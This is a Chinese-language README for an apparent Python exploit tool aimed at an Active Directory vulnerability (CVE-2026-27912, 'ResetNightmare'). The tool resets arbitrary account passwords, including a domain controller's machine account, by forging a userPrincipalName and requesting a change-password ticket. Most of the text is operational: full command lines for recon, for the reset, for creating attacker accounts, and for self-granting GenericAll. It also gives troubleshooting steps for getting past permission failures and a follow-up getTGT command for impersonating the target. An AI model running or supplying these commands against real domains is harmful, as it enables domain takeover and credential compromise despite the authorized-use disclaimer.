用于 CVE-2026-27912(“ResetNightmare”) 的 Linux / impacket 工具。通过为名为目标 sAMAccountName 的 NT_ENTERPRISE 主体请求 kadmin/changepw TGT,重置目标 Active Directory 账户的密码,所用账户(UPNUser)需具备可写入伪造 userPrincipalName 的权限。
这是 Semperis Community Invoke-ResetNightmare
PowerShell 工具的 Python 移植版(参见致谢)。
仅限授权安全测试与教育用途。 本工具会更改真实的 Active Directory 凭据,并可能导致账户被锁定。
GenericAll,设置其密码并启用。sAMAccountName。UPNUser.userPrincipalName = <targetSAN>(伪造的 UPN)。NT_ENTERPRISE '<targetSAN>' 身份为 kadmin/changepw 发起 AS-REQ——KDC 会将企业 UPN 映射到目标,并为其签发更改密码 TGT。--upn-user--upn-user 是您写入伪造 UPN 的账户(用户,或配合 --computer 使用的计算机)。唯一要求是您能够写入其 userPrincipalName。有三种方式可以获得该权限——与 PowerShell 原版所依赖的方式相同:
| # | 如何获得 UPN 写入权限 | 参数 | 是否需要 OU? |
|---|---|---|---|
| A | 在您拥有 Create Child 权限的 OU 中创建账户 → 您拥有该账户 → 工具自行授予 GenericAll → 写入 UPN | --create-new-path | 是 |
| B | 一个现有账户,您已对其拥有 GenericWrite / GenericAll / WriteProperty(userPrincipalName) | (无) | 否 |
| C | 一个您拥有或对其拥有 WriteDacl 的现有账户(无直接属性写入权限) | --grant-self | 否 |
因此您不一定需要控制某个 OU——路径 B 可基于对任意单个账户的委派权限工作。但您需要 A/B/C 之一。运行 --find 查看您具备哪一种。
仅有一台域计算机是不够的。 一台您是本地管理员 / 持有其哈希——但在 AD 上没有写入权限的机器——无法提供 A/B/C 中的任何一种。通过 MachineAccountQuota 创建的计算机(使用
addcomputer.py创建到CN=Computers)也不行:其创建者不是所有者,无法获得 UPN 写入权限,因此直接写入和--grant-self都会失败并返回result 50。请使用路径 A 配合委派 OU。
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
操作员凭据是第一个位置参数:[domain/]username[:password]。
任何密码都可以省略,届时系统会提示你输入。
侦察——此账户可滥用哪些权限? 报告你可以写入 UPN 的账户、你可以在其中创建对象的 OU,以及 MachineAccountQuota,并附上建议的命令:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
每条发现都会打印其 via: 原因以及对象的 owner:。owner 能让人一眼区分两种计算机创建路径——委派容器计算机显示 owner: <you>(你拥有隐式 WRITE_DAC,因此 --grant-self 可用),而 MAQ / CN=Computers 计算机显示 owner: BUILTIN\Administrators(你没有该权限,因此无法使用):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
重置目标,使用一个可以写入 UPN 的账户:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
先创建 UPN 账户(需要对 OU 具有 Create Child 权限,并且需要 LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
创建计算机账户作为 UPN 账户(--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
可重写 DACL 但无法写入 UPN 的现有账户(--grant-self)。
当 --find 报告某个 --upn-user 可通过 Owner 或 WriteDacl 触达(你可以
更改其 ACL,但没有直接的属性写入权限)时,--grant-self 会先为你添加一个 GenericAll ACE,
然后攻击继续进行。仅适用于现有账户——--create-new-path
已经会为自己授予权限。
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
如果
--grant-self本身以result 50失败,说明你不是该账户的所有者,且对该账户没有 WriteDacl 权限——它帮不上忙。对于你通过addcomputer.py/MAQ 创建的计算机,这通常是常见结果: 创建者通常既不会获得所有权,也不会获得 UPN 写入权限,因此 MAQ 计算机不能用作--upn-user。 运行--find,选择一个被标记为WriteProperty(userPrincipalName)、GenericWrite、GenericAll、Owner或WriteDacl的账户。
添加 -debug 可输出详细的 AS-REQ / LDAP / kpasswd 日志。
| 参数 | 含义 |
|---|---|
<positional> | 操作员凭据:[domain/]username[:password] |
--target-account | 要重置的 sAMAccountName(计算机账户以 $ 结尾) |
--target-new-password | 要在目标上设置的新密码 |
--upn-user | 要写入伪造 UPN 的账户(或通过 --create-new-path 创建) |
--upn-user-password | --upn-user 的明文密码 |
--computer | 将 --upn-user 视为机器账户 |
--create-new-path <DN> | 先在其中创建 --upn-user 的 OU/容器(需要 LDAPS) |
--grant-self | 在写入 UPN 之前,先授予操作员对你拥有的现有 --upn-user 的 GenericAll 权限(需要所有权 / WriteDacl) |
--find | 侦察:报告可滥用的账户/OU(含每个发现的 owner)+ 建议命令,然后退出 |
--list-ous | 列出 OU/容器并退出(用于选择有效的 --create-new-path) |
--aes-key <hex> | --upn-user 的 AES 密钥,用于 AS-REQ 而非密码 |
--upn-user-hash <NT> | --upn-user 的 NT 哈希(或 LM:NT),用于 AS-REQ 而非密码 |
-k, --kerberos | Kerberos(SASL/GSSAPI)LDAP 绑定(使用 KRB5CCNAME) |
-H LM:NT | Pass-the-hash LDAP(NTLM)绑定 |
--no-pass | 不提示输入密码(使用 -k / KRB5CCNAME) |
--dc-host | DC 主机名/FQDN(用于 Kerberos SPN) |
--dc-ip | DC IP 地址 |
--no-ssl | 明文 LDAP/389(与 --create-new-path 不兼容) |
--supported-encryption | 首选加密类型,仅供参考(默认 aes256) |
-debug | 详细日志 |
省略密码时会以交互方式提示输入。
--create-new-path 失败:
| 症状 | 原因 | 修复 |
|---|---|---|
result 50, insufficientAccessRights | 该 OU 存在,但你没有对其的 Create Child 权限。 | 使用你有写入权限的 OU(--list-ous / --find),或去掉 --create-new-path,通过 --upn-user 滥用现有账户。 |
result 32, noSuchObject — best match: DC=corp,DC=local | 该 DN 的父链不存在(DN 不完整或为猜测)。 | 使用 --list-ous 枚举并粘贴完整的嵌套 DN。OU 是嵌套的;仅凭名称并不是其路径。 |
密码步骤出现 result 53, unwillingToPerform | 在非 TLS 通道上写入 unicodePwd,或密码相对于策略过弱。 | 保持 LDAPS(不要传 --no-ssl);使用符合策略的密码。 |
“Setting a fake UPN” 时出现 result 50, insufficientAccessRights:你的操作员对 --upn-user
没有 WriteProperty(userPrincipalName) 权限。如果你能重写该账户的 DACL
(你是其 Owner 或拥有 WriteDacl),请添加 --grant-self 先授予自己
GenericAll 权限。如果 --grant-self 也返回 result 50,说明你两者都没有——请用 --find
选择其他账户。
你通过
addcomputer.py/MAQ 创建的计算机在这里不是解决办法:MAQ 创建者 通常既不会获得所有权,也不会获得WriteProperty(UPN),因此 UPN 写入和--grant-self都会以result 50失败。不要依赖 MAQ 来提供--upn-user。
注意:
unicodePwd,因此
--create-new-path 需要它。仅在只读/仅 UPN 路径中使用 --no-ssl。--find 仅报告授予你或你所在组的允许 ACE(以及对象
所有权和 MachineAccountQuota);拒绝 ACE 和跨域成员关系不会被
完整评估。空结果并不能证明不存在路径——使用前请先验证。该工具会打印后续步骤,用于以目标身份获取可用票据:
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'
Invoke-ResetNightmare PowerShell 工具。ldaptypes 基础组件。独立的社区移植版本;与 Semperis 无关联,亦未获其认可。
MIT © 2026 mihat2。